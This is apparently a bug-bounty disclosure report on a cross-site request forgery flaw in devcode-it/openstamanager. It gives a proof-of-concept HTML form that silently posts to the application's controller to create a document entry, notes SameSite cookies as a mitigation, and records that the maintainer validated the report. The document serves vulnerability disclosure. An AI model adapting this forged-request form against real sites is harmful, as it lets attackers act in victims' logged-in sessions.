Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager


Reported on

Jul 31st 2021

✍️ Description

Attacker able to create any Document management if users visit attacker site.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari. you can check Document management with aaa name have been created.

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/openstamanager/controller.php?id_module=60" method="POST">
      <input type="hidden" name="id&#95;module" value="60" />
      <input type="hidden" name="id&#95;plugin" value="" />
      <input type="hidden" name="op" value="add" />
      <input type="hidden" name="backto" value="record&#45;edit" />
      <input type="hidden" name="nome" value="aaa" />
      <input type="hidden" name="idcategoria" value="2" />
      <input type="hidden" name="data" value="" />
      <input type="hidden" name="hash" value="&#35;tab&#95;0" />
      <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of create any Document management.


Set SameSite attribute of cookies to Lax or Strict.


We have contacted a member of the devcode-it/openstamanager team and are waiting to hear back 2 years ago
2 years ago


hey man, I just want to sure you see this report too.

devcode-it/openstamanager maintainer validated this vulnerability 2 years ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
to join this conversation